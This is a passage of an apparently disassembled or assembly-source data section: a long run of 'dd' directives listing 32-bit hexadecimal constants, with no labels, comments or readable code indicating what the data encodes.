0D28FB810h, 47A30024h dd 5A650F8Ch, 2E61A06h, 9684BD00h, 0E2621B82h, 439900B0h dd 36F1886Ch, 0DA01475Ah, 0F8618EDEh, 4FC8C2B2h, 8BE70E38h dd 0AAC02BE2h, 7E9A6006h, 644A4401h, 0B18399B8h, 0E4DA0DDCh dd 93C50735h, 0B0CF1E43h, 7972A4C2h, 0BFF35E00h, 0ADA87B2Ah dd 0FFE1073Dh, 99FE16EFh, 0B7777E00h, 903BC1DFh, 37608F1Ch dd 0B348C024h, 0FEC6Ch, 0ED03A30Eh, 65F7495Eh, 20056031h dd 4AF036C4h, 926B03A8h, 0BA555ADh, 7FD5A3A0h, 0A182971Dh dd 0F0C68B40h, 6243C5h, 84E188BCh, 0A8E580ACh, 0F583EB00h dd 255C947Eh, 7DA00D9h, 0CBA55752h, 0F1B059FFh, 7DA63900h dd 99EBE015h, 401900BCh, 0D4077036h, 671E7F34h, 4600984Fh dd 777984CDh, 93F90095h, 0BE360AF7h, 737FCCFCh, 5B101500h dd 79443B87h, 2E49264Fh, 9B09006Dh, 3233A8ECh, 0A20F600h dd 2A92F1DFh, 0F2643911h, 0C3ACB987h, 2D1930DDh, 6150827Ch dd 0D43BBB80h, 0FD6A0EC6h, 0DC4BEDh, 88B7981Bh, 379045h dd 5173B4AEh, 0C7DB5D3Ah, 71392D00h, 4152021h, 0F360356h dd 760358F8h, 9C35D5F8h, 7AC29A1Ch, 7872DB80h, 0FB0956h dd 1BF6659h, 0DCF2B994h, 20BEC300h, 0A28FFF35h, 0A65800C1h dd 9EA16463h, 0B900891Bh, 0E27331F7h, 0E06DE561h, 3EAF05FAh dd 0E1E40Ah, 82788EA0h, 0DCF2E38Bh, 0D10008FEh, 7201CA6Dh dd 7CED6C2Ah, 857E00A2h, 2B1951FBh, 6300D866h, 36165F94h dd 1D5643h, 49CC1403h, 0FDC3C0A4h, 64A52700h, 0AEB57ED8h dd 0B074B01Eh, 6E25004Eh, 3B093F26h, 0B30E45B4h, 2039DB1Ch dd 8DE671AEh, 795F4835h, 0C059961Dh, 97049ADCh, 1D00C480h dd 0D4B7D1D7h, 88D501h, 0E845EE6Ah, 3039465Ch, 80A01C3Bh dd 0D831C996h, 0EE2071Eh, 1A94C641h, 0D7E59780h, 2400DA11h dd 64A3E00Ch, 12A6623h, 10814085h, 0E406F475h, 9A000843h dd 0D52B3011h, 14B7150h, 0F077C1FFh, 30F7594Eh, 0A503CCD7h dd 0F1D562F5h, 76A6D072h, 0E9CE4F8h, 0ECB14269h, 7DB9BFE0h dd 0F9005EC7h, 0BB773CF1h, 3BD652h, 5A6BBE60h, 6E0C4F26h dd 64009E71h, 65EF94D2h, 46BDB4h, 0D4F2286Fh, 9711E72Fh dd 0B0355D00h, 0B38967FBh, 967894h, 6EDC1F0Eh, 536612C1h dd 0EB7C0507h, 0BCE181A4h, 28809F03h, 0A8F542E2h, 51002AC8h dd 0A1185A2Bh, 0D54640h, 0F4ECC021h, 2AEBCA73h, 22CBB600h dd 0A54D818Fh, 5AA30032h, 603820D4h, 823CB8E8h, 0D62380E7h dd 0A604B199h, 3B7A00E2h, 0F0FF86D3h, 0E90165AAh, 6735DDF3h dd 220040E8h, 0E300EB28h, 1C2492C1h, 8BFA76h, 0D5705B25h dd 6CC68EE8h, 748535Ch, 45AE819Ah, 5EFA4A0h, 80E80062h dd 9997F148h, 201C6EA3h, 0C4809FE6h, 283DEB84h, 0A085008Bh dd 3253F23Ah, 0E6A0B71Ah, 453EB0CFh, 300800E4h, 17838FDDh dd 1D460057h, 29A06B34h, 0E50015FAh, 0A1EF14FDh, 4530A9h dd 0BDF79059h, 0CB8E3B0Bh, 898B0C0Eh, 0D21A007h, 2AC7A2Eh dd 0DC614BD8h, 0FDE0C93Fh, 0EF0B9265h, 808F44F3h, 0AEA1D2FBh dd 0ADA001AFh, 3082BB13h, 0E7C2E435h, 0CB700600h, 60D59C52h dd 8F2303EFh, 0C51F4E92h, 70BEE0F0h, 2AE69300h, 44FE1767h dd 39BD007Fh, 0CE108331h, 0EF01CB09h, 0A718C6EDh, 95404B7Ah dd 0C716636h, 0E12237A8h, 6C0E1A20h, 601513BCh, 2DA7F2Ch dd 0A1660987h, 2E0153E0h, 0C4EB2282h, 3C00322Fh, 0BBBD6738h dd 28AD237Fh, 0F8EC89h, 980F37FEh, 0BA72B0E3h, 0C8EB0100h dd 0B53A9C6Bh, 0EC1D0054h, 0FE7D09DAh, 0F80089A5h, 0B90DBF79h dd 0EE27CEE9h, 75780FC1h, 0E381E5D5h, 0D0BE37B5h, 1F00F67Eh dd 5935609Dh, 73C0CDE1h, 2CF3F847h, 1DB0681Ah, 2E2D4051h dd 80258FFDh, 0C6E73E00h, 0F0A7D67Eh, 45B200BCh, 48140A1Ah dd 0E8A0B5ABh, 0DFEE6963h, 0B7A23300h, 67804474h, 0A4011212h dd 1D381CECh, 4745002Bh, 0B60E6346h, 0AFE65F00h, 54C40F5h dd 0F6580061h, 9728BB19h, 0A207B2C5h, 1BC4B726h, 0F3ED5EE1h dd 82B9C0DFh, 7F709044h, 0DCBC0084h, 0F9765647h, 0F3000310h dd 372BCF9Bh, 0F38B1A4h, 2FB5C495h, 0C520514Eh, 4AE1EE9Dh dd 0F371EA07h, 26A0177Ch, 3D1CD6h, 0DBD28CC9h, 962AEA5h dd 102739h, 5D1D22DAh, 0E2A4825h, 34D82859h, 18140C60h dd 92381A3Dh, 0D3980115h, 8D0D9C32h, 4CE3C6CCh, 5B006365h dd 0AA0ECD45h, 0E049AE20h, 36447A4Ch, 0BA8607C9h, 0E0E22CC7h dd 2B011560h, 0B5223A06h, 0B22569h, 0F1054558h, 852732A0h dd 50918230h, 90E99E5Fh, 37880018h, 0FDC2C4E5h, 8F765665h dd 0F0A2D601h, 3FBC3DCDh, 6C72C0h, 0B8F9D41Eh, 0D732B11h dd 7B69EB1Dh, 0A7781940h, 0BA9998h, 9C77A93Ah, 8FD5748Dh dd 41ADE401h, 0FD281102h, 4746CCh, 209B2B71h, 91445A0h dd 0DF4B9103h, 0DF01885Fh, 0FAE2DCF3h, 0C59260DDh, 0CCFA000Bh dd 0BC6E6250h, 0BF3EB9CFh, 0BAB6805Ch, 0A7A8020Ch, 558000C4h dd 9E0D4BE5h, 8618DE42h, 0F3FE0B77h, 0CAE6009Dh, 2F67D68Fh dd 0F10089A1h, 7011FF1Eh, 9A0E71h, 0A38D2DC8h, 0E3A7551Ah dd 0CDA2B58h, 104C7079h, 0C901328h, 5EC900CBh, 0DCF7AA9Dh dd 0D9EE4600h, 116923CFh, 3B13014Fh, 0B5EA3C84h, 0CC75DD50h dd 913D3A58h, 76280099h, 347CF0BBh, 0C27E02F2h, 0E6D3C7C0h dd 4F47D880h, 0D4E45896h, 7A003378h, 3E44CE2h, 9040D784h dd 0B8D0C2DCh, 0E07D37A3h, 7CDFEEh, 89A8CAFh, 25D1E101h dd 77914100h, 3A3B74FBh, 72580F36h, 5420FF7Dh, 97E32E7Ah dd 490391EAh, 5BC39C93h, 0C0C9ABDAh, 8B7DA5h, 470F2CD0h dd 2A94F29Ah, 5F056600h, 0A6865D6Bh, 7CE240h, 0E491EB73h dd 0FDF58064h, 0E95F9F01h, 1C193242h, 39DC9D21h, 377D4Eh dd 91EC01D1h, 56F382A9h, 235F0300h, 0E099D0Fh, 0E6C5000Dh dd 5AA15E59h, 3A00F88Ch dd 0E146588Bh, 1D3C8914h, 4053AC7Fh, 5275E27Bh, 4300046Eh dd 0BC9B274Fh, 108C34h, 9EEA8251h, 0DBB0D259h, 0A5C14700h dd 98450BCAh, 104860E6h, 139EDEB3h, 0C4428000h, 0E766611Fh dd 0B110001Ah, 25C7CE95h, 212C4AE2h, 0FE00A6BDh, 514144F9h dd 6A5E001Eh, 30BE4785h, 0DD007E4Ah, 2DA4B1B8h, 0A05DD86Eh dd 9BA5FFh, 0DBC3EFF9h, 798592FAh, 7D4B1803h, 80D408BCh dd 1CEC42h, 0D09CC1ABh, 1C9E127h, 0A91D1A0Fh, 209EE375h dd 3DA1F8A4h, 423007Dh, 0BE1E6252h, 1008584h, 1934937Ah dd 0BA27EFh, 0E47C702Ah, 91BE5C5Dh, 3200A17Ah, 6CA791Eh dd 497AB4h, 9B0C8111h, 8653EC27h, 15AA6700h, 0B029DAE1h dd 38E000B1h, 23107DBFh, 0DB07BE44h, 964D141h, 72D26D20h dd 0B093005Ah, 99F1A494h, 0EB148C50h, 3ECC328Fh, 8C982485h dd 244C6F00h, 0BFD817h, 93458D92h, 13DAFA30h, 193A59E4h dd 0C4E487ECh, 89E0955Dh, 39F54817h, 853C07ABh, 26050075h dd 0ED54C9BBh, 99036203h, 36F1175Ch, 29103C79h, 571F9A00h dd 0B8C2FD14h, 0AC788570h, 0E5B18F09h, 95DB8070h, 0C0AF65h dd 0C98D5820h, 0BEE784CBh, 1EBD1400h, 8173E6F5h, 55FA1C1Ch dd 66E0408Fh, 859B5603h, 0C009A40Ch, 7F58A0h, 3B8A2E83h dd 0FA77ED25h, 380772E6h, 0B9AB7076h, 0EC29AD06h, 547709A2h dd 582F3507h, 6CA46F81h, 3A86E08Ah, 0AFF8700h, 9E78624Ch dd 82B00DCh, 29CF0CC1h, 321D82C5h, 0DD00DA39h, 265A04DBh dd 0E27E21h, 0B36B09F7h, 54A48160h, 2D9B6A00h, 421D9D06h dd 8E5C0011h, 1C071892h, 50F9CE32h, 0E02E75CCh, 129A0901h dd 3C6C4ABh, 0E7861880h, 0D583429Fh, 0A076250Fh, 26FE002Bh dd 0FEA9590h, 7940968h, 0C0891A00h, 0DA00457Ah, 6658244Dh dd 0F859FB2h, 73238695h, 558B7649h, 0A184AD08h, 44837104h dd 0AC046B18h, 0A620054h, 67985DF8h, 0BDE23965h, 0C9E3B40Eh dd 0E2A26091h, 0E7AC31h, 0CA78D507h, 89E8C485h, 0B40C8FE0h dd 503D9690h, 0C8BD381Eh, 8E0B6B80h, 0F5136307h, 8CC0B700h dd 0E503644Eh, 26110095h, 48407F0Ah, 9D53CA0Fh, 41128220h dd 0CE1B18EEh, 401FF871h, 850FEA20h, 0C9B11CC9h, 31E8F23Fh dd 398F0FB3h, 6705324Ah, 0D5080F3Bh, 0B42F7D0Eh, 53F10200h dd 1E065035h, 95B53FB9h, 1837628h, 0E263390Ch, 0FB8E56AFh dd 8480C6DAh, 9210F235h, 900CB279h, 89782F8Bh, 15030CD5h dd 0F728AACFh, 0CDE5F31Ah, 0F2B41068h, 5B770035h, 0A56DE395h dd 331FF011h, 5306031Bh, 0F8616E66h, 0B1CE6040h, 0E77DFA2Eh dd 802010D0h, 42C4A543h, 3CFD23EAh, 0B2AEB8E1h, 0A502561Ch dd 3B2346D1h, 0BC423E39h, 0F0F8C0D9h, 40AF2F4Bh, 2893B008h dd 94FB1028h, 8A501296h, 20054020h, 3A8078BAh, 6287B2CAh dd 8FE55923h, 71450F7Eh, 0F8BD2A81h, 701C2004h, 514D348h dd 369D1F63h, 0A1092020h, 500808B5h, 8FF8759Fh, 6BC2801Ah dd 7F7E40B0h, 8010F348h, 11C8F10Eh, 0A1B70271h, 0CE41993Fh dd 90524B27h, 342E11E3h, 0E752EFECh, 0CB610220h, 3EA2014Eh dd 0CBC23243h, 0B8617822h, 0B39AF03Fh, 4F8920A5h, 0E03C05DFh dd 0FB612040h, 0E3EB1EE6h, 0A7987024h, 0D3D70820h, 0DA800253h dd 0B93B0576h, 0CC6B213Eh, 401B04Ah, 0AC4AA3B1h, 9FF3151Fh dd 0FB718020h, 2B5FC9DBh, 6240A269h, 20947CCFh, 532BA37Eh dd 92C26011h, 2C080BBh, 4830FA42h, 400BDCCDh, 0F023BE10h dd 79A78B4Fh, 33A34C80h, 2F039F3Eh, 75FAC907h, 8E0AC18Fh dd 9021A6E4h, 13C00738h, 89EF3710h, 0C0201088h, 0CF3D195Bh dd 0C4FB8523h, 0B8C03DEBh, 0C0BA2B53h, 24E76240h, 7861051Ch dd 3FC90DE4h, 33851C20h, 9E1D3285h, 423F4078h, 34788020h dd 57B35E0Fh, 0F784202Bh, 44D383Ah, 9E6A61B4h, 0A53378E6h dd 50578140h, 1FDDF044h, 8FC34F3Eh, 9ABA8575h, 404B6078h dd 0E518FC25h, 7F288C51h, 0F15A13E7h, 43A8273Ah, 36D9BBA5h dd 0FC840A19h, 60C8CAA8h, 172BE940h, 0C8034712h, 28605AF0h dd 3AFE78FBh, 0F4C23947h, 6E38B3E5h, 0A46F0CA5h, 3BC084D6h dd 98847D46h, 3D4628A9h, 23790DA5h, 0C8E63844h, 0A608E80h dd 5D3EA4FEh, 0AF8CF020h, 530140ACh, 0BC3050A5h, 341F394Fh dd 68C04180h, 8891A01Fh, 0B942D1B3h, 83A1CF8Eh, 0AE040F1h dd 2914AB84h, 1BF24082h, 815FE3Fh, 7470153Bh, 497A11F0h dd 96A7F279h, 1172FC40h, 0F27E2689h, 0A2096A3h, 4D967BC1h dd 4BD7F140h, 4F8D0560h, 40780667h, 27818793h, 7463FBCEh dd 93F221Fh, 0A2C3E7ACh, 94BB7440h, 0D00CCB3h, 0E5194FF1h dd 0C5AB4784h, 0EC8ABCFEh, 4A024C4Ch, 0A227E9ABh, 0C4C2213Eh dd 0B4734E04h, 328C3602h, 7213486Eh, 882B56A5h, 80C2273Eh dd 0F7334ECh, 0C0132301h, 208A23E7h, 88C05951h, 1140AF5Dh dd 0A388487Fh, 0E89CCCBAh, 0B9070857h, 2CF80314h, 0C10899E4h dd 3274938Dh, 9268B1A8h, 99818833h, 0A6C0DAAh, 28932085h dd 31C0B20h, 0E2E30F5Ch, 114A8E4h, 0C5A6D87Fh, 1F38EF1Fh dd 0B3E43808h, 0D24DE05Bh, 60A68Eh, 588373DAh, 0B8794B5Dh dd 0E74ED20Fh, 9790004Dh, 0F83111h, 13B40FE1h, 4B2BC4FDh dd 46ED981Dh, 20CF2BFEh, 0D3F05690h, 354204C2h, 11652A2h dd 1D59B407h, 1F4AB34Fh, 0DD605A21h, 2BDCB287h, 0C44008A1h dd 5062C9Eh, 0DDFEF287h, 0E7207866h, 0BA4EE023h, 0E3638701h dd 1F4C05BEh, 7080A234h, 3D748A20h, 85402957h, 202830E6h dd 8E9F1584h, 2AE24043h, 9BD90116h, 0F506A4C8h, 0AE101F4Eh dd 0B409A031h, 3F5B1021h, 521AA84Fh, 1C80601Bh, 4B5E085Ch dd 315E8A8Fh, 0E5B85320h, 40AF103Ah, 8031620Ah, 48699C70h dd 0B2AC8033h, 168120A5h, 620C4E5Eh, 0E0B6211Fh, 36378AE8h dd 0BA1140AFh, 0DB007438h, 364E3253h, 0BE7460AFh, 5400677Ch dd 0DC2C2D43h, 72DD5D55h, 0F2A8308Dh, 0F3F04951h, 0E35C40h dd 4656CA57h, 43866267h, 4E1D477Ch, 0B80053D8h, 0E1F3A619h dd 0ABD23CBBh, 0C11F5822h, 0CE05F461h, 2027C893h, 133C3544h dd 5D596201h, 30699DD7h, 0CAB5F883h, 597C6B10h, 7C5C1120h dd 42EC31BBh, 0F935D718h, 78B50044h, 217A07CFh, 0DCECD23Ch dd 604FE78h, 0AE0CE5DFh, 3819D083h, 88D08838h, 0D99F1F62h dd 3280BF37h, 1C0EF650h, 5B00CCF1h, 2C148B20h, 0F4E1B5h dd 0BCF579AAh, 61DA544Ah, 0ADD1BE1Dh, 2F10B028h, 0FD18B95Ch dd 0F962E8E5h, 7AE4B800h, 1FEE5542h, 413B05D2h, 3537D45Ah dd 0A5C0ABC8h, 0F1B6A8ACh, 0D2612083h, 6803FE32h, 4EE36CF8h dd 0ED07CC07h, 33EAC037h, 0BF0095B2h, 7619A44Ch, 1C8531C4h dd 434E6EDEh, 0C28758E3h, 15DA800Ah, 9D80F0F6h, 761A4B26h dd 6C4F0020h, 2DDA961h, 0FE1D66D4h, 18410D2Ah, 4C4DD187h dd 90237081h, 0F47086B5h, 2505A749h, 0DD3CCC52h, 0BDD7A420h dd 0E46250D9h, 0C42313ABh, 9B800536h, 0C0C05DCAh, 0A5B59208h dd 4DF20E37h, 6DA4F8C0h, 0EAB97EC1h, 0FA7A3EBAh, 36315430h dd 450FD9D4h, 105906A7h, 821F0F7Ch, 51AF432Ch, 113B6019h dd 8045D2C9h, 367A5C43h, 1D52B3DDh, 1816CF88h, 3CC0A086h dd 5169D030h, 5006BACBh, 0A9A6B4C2h, 402087E4h, 3BA8016Ch dd 2D32CF08h, 0B7A82056h, 0A8A5C2E8h, 49CF99D0h, 830A08C6h dd 0DC24AAh, 0A787D036h, 0F8C20E15h, 0A056DA53h, 79889380h dd 60FC905Dh, 1EBDF943h dd 3B0020CFh, 0A299C478h, 0A6F7342h, 53140AD2h, 4B9303D0h dd 0E100B9F2h, 0ECDCF6B2h, 30859E6Fh, 9D18AC23h, 0BF0F67A1h dd 8C9B3555h, 557B6147h, 0CFFDC85Ch, 7FEEE040h, 0B82B6173h dd 8161E501h, 0FF0BBF20h, 0A19E828Fh, 77508083h, 848B6660h dd 0DE7F170Ah, 0FF006035h, 364961BFh, 0F0CF523Ch, 0D4F9C907h dd 0C233E7C7h, 0D491B9D9h, 9091A051h, 0AE349270h, 8EE002h dd 0C1460078h, 0D5418EF8h, 0F0A0FBA2h, 4804EB66h, 0B6B7DA27h dd 0D3200C83h, 42DEE02Ch, 39D6FC0Ah, 6860B953h, 0CBE589EDh dd 8C22B808h, 0DC4701E4h, 4854DB4Ch, 37020988h, 6A3D4DE6h dd 49586033h, 704449DAh, 48FB0F50h, 51862491h, 3E017829h dd 0D23F8385h, 0D89F3CE5h, 46691214h, 614B1E00h, 1605E109h dd 393401B8h, 0E2E1DE19h, 2FEB424h, 9A615F77h, 1468BDE5h dd 0D118975Dh, 3610B792h, 3F537802h, 0F84E86h, 74963F80h dd 1DF48AE2h, 0E5D95009h, 0B834031Ch, 7675C029h, 0E12A19ABh dd 2035F054h, 6040964Ch, 4DD710A8h, 5A186219h, 1F051062h dd 619E2184h, 4418D908h, 0A3024FA2h, 0E05A0CC2h, 6FB7A53h dd 6D1B494h, 0E39B816h, 0E18C5066h, 738D351Dh, 2B390884h dd 65D2E481h, 7DAFF447h, 6A0B695h, 5036D1E7h, 8718CEE8h dd 0AADA89F0h, 0D1828D8h, 7B250131h, 0B24E06ACh, 0F0E60FD3h dd 104B7CA1h, 6FC52AA7h, 83031855h, 0F10078D1h, 0B1B0D002h dd 5201546Fh, 0CA8624E1h, 0AA0519AEh, 4D325B2Ah, 24D1A847h dd 9DCF8EB8h, 3030487Ah, 7108F4B3h, 8A690161h, 880651Ah dd 8462792Ah, 34BD1120h, 2948CA8Ch, 5D721404h, 85575088h dd 44907D24h, 0DA146701h, 2074E98Dh, 0D0541811h, 3B9589ADh dd 0ACFF809h, 4BF0003Ah, 9432D3AFh, 0E3C90108h, 0FEDBD2B5h dd 1B136440h, 3C0DD129h, 4AB87684h, 6291A427h, 1D9931B9h dd 11304BFAh, 841A8279h, 1D330763h, 0B71261F4h, 9047790Ch dd 8EF45310h, 268531A5h, 8E784A20h, 0B86123Ch, 24251D04h dd 6180A62h, 9203054h, 5A8058E7h, 0FDECA14Ch, 0B26A6C4Ch dd 2C1880ECh, 30CD894Eh, 0A920B7F8h, 8EDA0206h, 0A10D854Dh dd 3ABD6090h, 8911F842h, 1AC685AFh, 31029C31h, 0BD218718h dd 0CEA91158h, 44548832h, 429584F5h, 0F383653Ch, 0A21C3111h dd 149C2E53h, 843C300Ah, 0E650B883h, 9AD0652Ah, 0A30598DCh dd 96381178h, 288785E7h, 3881F432h, 58A961FAh, 3DF45C89h dd 11943153h, 8A82B379h, 0E21006B1h, 8F218C1Dh, 43FD8841h dd 3C062C97h, 80C1C0A9h, 0A833A318h, 8C440154h, 228658FAh dd 0A305A83Dh, 9FEE16CEh, 183CAC0Ah, 53A0DA04h, 48ABF121h dd 6093D96Ch, 0C2A80108h, 3E18512Ah, 428A8FE7h, 0FA88182Fh dd 4896F830h, 32422B86h, 14AB0A9Ch, 0C4916F84h, 393230EEh dd 0D5D90813h, 4942FD48h, 225230AFh, 0A3BB6C91h, 0B6CF0AE7h dd 46AD883Ch, 4AB4FEC1h, 788E4908h, 23F242E9h, 60FE93B9h dd 4EE0E780h, 0B88F1086h, 3CB98A58h, 43FC269h, 0A888ED3Ch dd 49E0983Eh, 77AEC05h, 0E2283035h, 0B46330F2h, 0D3008398h dd 72E02D15h, 0F0A2B8h, 2A06312Ch, 0C035B1EEh, 8FE2FF0Ch dd 398102Bh, 0D5FD1EA6h, 300063BEh, 7B46D3Fh, 0F6AD49ACh dd 0F7C0F37h, 65EC32Ch, 60D4A6A2h, 22868BE6h, 63C25BEh dd 308D18A0h, 2BAB90h, 185E5DB2h, 0B7EBC73Fh, 0A449BA00h dd 0AB71D6D1h, 137203ADh, 9BA23190h, 7D517804h, 934436F1h dd 5CC46106h, 2446AE0Ch, 7AC7CD08h, 0A6643B07h, 96792CF0h dd 37DA0098h, 52B914Fh, 7C608531h, 0D8B6C3A0h, 3F98009Ch dd 4EDB1A0Ah, 0F10FB193h, 87A3EBBCh, 5FA0B224h, 18A9D6D0h dd 5060D125h, 6C3221ACh, 0B0A3D86Eh, 4D1CF24h, 58F1962Dh dd 621521C6h, 0DBA9309Dh, 18219935h, 58251529h, 37480F10h dd 80FF4024h, 0B4129E07h, 3D652031h, 0FAAC570Ah, 1831A005h dd 0FD003F87h, 1D0198ADh, 0C9363D74h, 12F02B97h, 1C9A22Ch dd 98B278A8h, 25295980h, 535E5F83h, 9463D929h, 0B01F168Ah dd 0F3047023h, 0E8044BB3h, 21B400ECh, 0C03E5ED9h, 8A1D8780h dd 91C5A531h, 84408CF1h, 0FD1591B4h, 0E4D8504Dh, 99AA01BAh dd 1CD6D5CCh, 318C705Eh, 3828B630h, 3C6A707h, 0DFB7EA80h dd 0B9E2EF16h, 153A9CA7h, 6CC459Dh, 90A82001h, 0A4A622B3h dd 0EC553344h, 64621D7Eh, 0FAB6C4B4h, 2934866Eh, 19593F00h dd 0AE6529FDh, 2BE07A2h, 0D0171D10h, 6B78D499h, 0E0535D31h dd 19D52D29h, 228A3DCh, 472FA64Dh, 6808967Ah, 6DFD1B81h dd 5184B8A4h, 4329247Eh, 0CD1BAB4h, 282D1BC1h, 3800B279h dd 1C3D9002h, 78BB53B1h, 22082835h, 78F1508h, 2F04B440h dd 80AFC5ACh, 0B3AE32D4h, 1A182960h, 9081B084h, 0DA64050Ch dd 433CACC0h, 0A8BD28E0h, 0F9022FD3h, 0CB74020Ah, 2430AA90h dd 0EC5CA64Eh, 16361961h, 4D1F78EBh, 75E01894h, 0ACBD58h dd 521F9084h, 0A2275BB6h, 0BC508348h, 4900B37h, 0E0287646h dd 0AC1102C8h, 0E40A7005h, 9B010C20h, 25320ECEh, 0A08194ACh dd 5131BBA1h, 48E0200Dh, 32518290h, 72D7E318h, 0B4A72587h dd 2271A0F6h, 300494C4h, 0D6DAB04Eh, 395278C0h, 1D0871AEh dd 400D35E4h, 75ADC129h, 1470D17Dh, 3360100Eh, 0FDDF40FFh dd 285FDA31h, 0F414F471h, 0FF531F34h, 0BB1F21F8h, 5B92B507h dd 0EA7266C0h, 78290007h, 0D42B31B1h, 40C040F9h, 90ED79F2h dd 869E0069h, 26F18FCEh, 390708E3h, 993CE8EFh, 332C7C3h dd 6EC66398h, 1000D131h, 0F106FC9Eh, 0C1F3A4DFh, 8A78C428h dd 8340827Eh, 40410EAh, 0D91AF046h, 2B3953F8h, 0B2E8CBCFh dd 142EF90Ch, 0C21E1CE9h, 40F05258h, 9FEA87h, 0C46FF2B4h dd 15ADB63h, 869A0903h, 33B7F40h, 9CFA7D51h, 0D8E0A31Ah dd 10D87CEFh, 0E481BA29h, 0C1A86331h, 628346E8h, 70CFEDB8h dd 0D9678FF8h, 21C77DB1h, 2E009EE4h, 3E9CC1E7h, 32A99CA3h dd 282C5383h, 5CD9F4E0h, 73C46654h, 0E411AD03h, 0E6DA1760h dd 6F81F871h, 780241FAh, 24900F1Ch, 2AE461E6h, 346CC105h dd 4841B22Eh, 0F8E97175h, 69CEA040h, 49516078h, 0D99484AEh dd 66209005h, 3020E37Fh, 607D2C39h, 37F1B9ECh, 0E28E334h dd 4B020808h, 682D8991h, 2EBC80A8h, 65B08EDEh, 20804830h dd 790D7898h, 0DCBEE91Fh, 0C6AD4106h, 875400D9h, 97E657Ch dd 2C031DF1h, 35DB56B9h, 8569012Eh, 0CEE6700Fh, 3A118106h dd 0FCACD79Eh, 63383200h, 0D8CB2003h, 0F93C33h, 879B89B0h dd 4214C7ACh, 71D6E237h, 564A7F30h, 889492D8h, 1C4E5734h dd 165433h, 905B0534h, 38914349h, 2BC25D81h, 0BDF5F54Eh dd 0E00C0827h, 7448F21Ch, 0B6142A14h, 62AB0388h, 0E0318806h dd 12340294h, 42A467CFh, 0B9A54E58h, 574A8300h, 390C40B2h dd 58CEBB28h, 6F52B03h, 963B355h, 72D85B38h, 0E9A3A403h dd 92A28C6h, 7D77204Eh, 0C4AF4618h, 17C5BE9h, 0A1B6B597h dd 508E8FD7h, 0F63C16D0h, 7BC4020Fh, 0A8D28ADEh, 80067D9Ah dd 135CF07Fh, 78336246h, 10802EF6h, 0ACA5364Ah, 6C6BA14h dd 41DF3AA4h, 0F1DA5DE0h, 2010E846h, 0FF505CE7h, 2BF0B610h dd 11C0DBEEh, 0B15FE4E9h, 4231DDF4h, 0F1162BE0h, 5FDB4820h dd 2728A181h, 8863902h, 5E225011h, 0E0A80A08h, 8CC8495Fh dd 0B2B93E14h, 662F7C05h, 0B0406E78h, 0A476C13h, 7F20C32Ah dd 0B91D78Eh, 87108133h dd 98FD68FAh, 4381430h, 10B1BB7Dh, 0BD883DEh, 80D6810Fh dd 330E60D7h, 477702h, 2D9FAC3Ch, 1F555A08h, 20DC8C51h dd 0DE5015B0h, 0E09E2F8h, 0A35B7F6Ah, 0A845AF88h, 0DF2A88h dd 19236F01h, 0CF2F6BE5h, 7470574Dh, 0BED47609h, 0F8500077h dd 241E07DCh, 1270465Fh, 4A7C4336h, 91FFD18Fh, 42717F08h dd 36208CF8h, 98649CF0h, 0D283004Ch, 0AC09D199h, 5030FFF4h dd 8F5A1865h, 70F928E2h, 0D1E79E0h, 1F0182Dh, 6623CAB0h dd 40711288h, 98342287h, 0F48FA040h, 417D9030h, 244172CDh dd 4594C5E2h, 0BBD4400Fh, 93D3699Ah, 60131B24h, 0EC24503Dh dd 0C805E800h, 4F764AF1h, 759C9A34h, 0A86363DAh, 49002AC2h dd 40E192ADh, 90DB5E77h, 7600080h, 26586686h, 752CFDECh dd 0E4840CEDh, 68D6F62Bh, 0D3812218h, 51023230h, 74673493h dd 690F74CEh, 0C001E992h, 0BCAB69B8h, 0FF6A10C9h, 20621450h dd 0C41DEDA1h, 0DF80114Ch, 35E099C6h, 0E10641F4h, 0F05C20EEh dd 20D708A1h, 0F144209Ch, 50D9783Dh, 0C8A310B9h, 94A0F340h dd 167ED3Ch, 6C7E9087h, 0F043B330h, 7D893BF7h, 0F452B16h dd 0A3E466E0h, 0F0E8D379h, 97743801h, 0ED5C2B7Ah, 0EE70C40h dd 38D26E8Eh, 112660Eh, 58D129FBh, 4D188C8Dh, 0C67AB867h dd 710314A9h, 3AF883Ch, 0BDE24440h, 0E33815F9h, 31009893h dd 0CCAF9E02h, 4314FA47h, 775C885Eh, 95FEB490h, 0F42CC490h dd 55081CE4h, 66323C2Bh, 10847610h, 0BB450650h, 0D2D83C11h dd 31346119h, 0B050B99Bh, 0F611102Fh, 1BC70293h, 0F3D045C2h dd 50083CC1h, 0A9CD74DCh, 2EDCB4Ch, 7F694198h, 0F16C4090h dd 1516C4A4h, 0DAA4D088h, 8B8181Ch, 75544000h, 8E05DC6Fh dd 0B13A042Fh, 5EC63B44h, 0EF0AA31Eh, 0AD80A007h, 0DF677650h dd 0CCDE0728h, 0BBE07223h, 95EDDC21h, 0C3A320B2h, 0BC25BB09h dd 40440EDAh, 0AF4D229Eh, 0A30F0102h, 0F43B72F5h, 2C6452C1h dd 0DA10AD20h, 88301ECFh, 7569C41Eh, 0F808026Ch, 0DE404113h dd 0D9A9F451h, 130429F0h, 45F20B45h, 389C5D88h, 7F162878h dd 7C097107h, 0E55407DBh, 5FD1388h, 89D2B80h, 0AB11C808h dd 3187140Dh, 4BFC6060h, 6FE1FD1Fh, 544A0322h, 0B2D7FF41h dd 856081BCh, 76F510CAh, 49476A6Bh, 2AA83030h, 0E16F3BD3h dd 10D8F41h, 5E2F5D05h, 0BC5AC34h, 0FF5B99A9h, 9FD83482h dd 40F3A460h, 589486FCh, 7F42D823h, 7A9E00EAh, 40007341h dd 4EB33824h, 9534210h, 8A64550Eh, 68F58400h, 38758223h dd 0F2574304h, 70A0D935h, 9C0A51D4h, 4200DC33h, 0BC9420F5h dd 2B62671Ah, 0CBF66610h, 0A370051Ch, 0D97C43A7h, 1C81D22Ch dd 0F7A85BC7h, 4A233999h, 62867CA8h, 0CE051075h, 8C1CD8C2h dd 7F2BA702h, 91E38447h, 31D205E8h, 5F19F62Eh, 5056202Dh dd 0CD24F009h, 5369442Eh, 0E5B6002h, 201198C9h, 62656FB8h dd 0E441F380h, 360A49DDh, 4768051h, 30453502h, 0F47D08h dd 3DC9570Dh, 0F001FF53h, 342BD354h, 25E805DFh, 99863912h dd 0DA5BB705h, 0A1C8126Bh, 7B9C5802h, 0E6BC7047h, 1A690160h dd 2E3E1380h, 49E8FA3Ah, 2622B800h, 31E41E1h, 0BCE9DC88h dd 0EDD30501h, 0B21130E0h, 0A569D899h, 0C7757615h, 0A2AA01A8h dd 37FCEA80h, 7CC38444h, 0F4A4F43Ah, 0A30A21DDh, 80C48D09h dd 6A09556Ch, 7874A376h, 0E47A139Ah, 